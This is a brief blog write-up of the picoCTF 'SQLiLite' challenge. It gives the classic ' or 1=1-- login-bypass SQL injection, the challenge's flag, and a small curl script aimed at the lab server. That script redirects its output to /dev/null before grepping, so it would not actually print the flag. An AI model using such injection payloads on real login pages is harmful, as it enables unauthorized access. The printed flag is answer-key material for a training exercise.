Ulli Weichert/ April 7, 2022/ IT-Security, Write-Ups/ 0Kommentare

SQLiLite

Description

Can you login to this website?
Try to login here.

Solving

1. Connecting to the website will give us a login form.
2. Assuming for a sql injection (title of the task) we try to login via ' or 1=1-- for username and password.
3. This works... the flag should be in plainsight... okay then the sourcecode or selecting everything again...
   there it is... 🙂

picoCTF{L00k5_l1k3_y0u_solv3d_it_147ec287}

If you like, use this script to get the flag:

#!/bin/bash

echo "A flag again...? Okay I'll get it for you..."
read -p "Port?: " port

curl -X POST "http://saturn.picoctf.net:${port}/login.php" -d "username=' or 1=1--" -d "password=' or 1=1--" > /dev/null 2>&1| grep -o "picoCTF{.*}"